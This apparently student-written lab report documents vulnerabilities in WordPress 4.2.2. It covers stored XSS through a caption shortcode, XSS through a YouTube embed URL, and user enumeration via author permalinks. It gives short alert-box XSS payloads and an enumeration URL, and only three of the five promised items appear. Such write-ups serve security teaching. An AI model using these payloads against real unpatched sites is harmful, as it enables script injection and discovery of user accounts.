Objective: Find, analyze, recreate, and document five vulnerabilities affecting an old version of WordPress

Report

1. (Required) Authenticated Stored Cross-Site Scripting (XSS)

• Summary:

  • Vulnerability types: XSS
  • Tested in version: 4.2.2
  • Fixed in version: 4.3.2

• GIF Walkthrough:

• Steps to recreate:

  • Get posting privileges from admin, then exploit how HTML is processed and paste the following code onto the post:

   <a href="[caption code=">]</a><a title=" onmouseover=alert('exploited')  ">link</a>
  

• Affected source code:

  • Link 1

1. (Required) YouTube URL Embeds Authenticated Stored Cross-Site Scripting (XSS)

• Summary:
  • Vulnerability types: XSS
  • Tested in version: 4.2.2
  • Fixed in version: 4.7.0
• GIF Walkthrough:
• Steps to recreate:
• Comment the following on a post:

   http://youtube.com/watch?v=exploit<svg onload=alert('Virus')>
  

• Affected source code:
  • media.php

1. (Required) User Account Enumaration

• Summary:
  • Vulnerability types: Enumarating Users
  • Tested in version: 4.2.2
  • Fixed in version: Not fixed
• GIF Walkthrough:
• Steps to recreate:
  • Simply log in with different usernames to see whether the user exists. Unfortunately this is also possible through permalinks:

  http://example.com/author/[insertusernamehere]
  

• Affected source code:
  • Link 1

Resources

• WordPress Source Browser
• WordPress Developer Reference

GIFs created with Gyazo.

License

Copyright [2020] [Sam Lee]

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.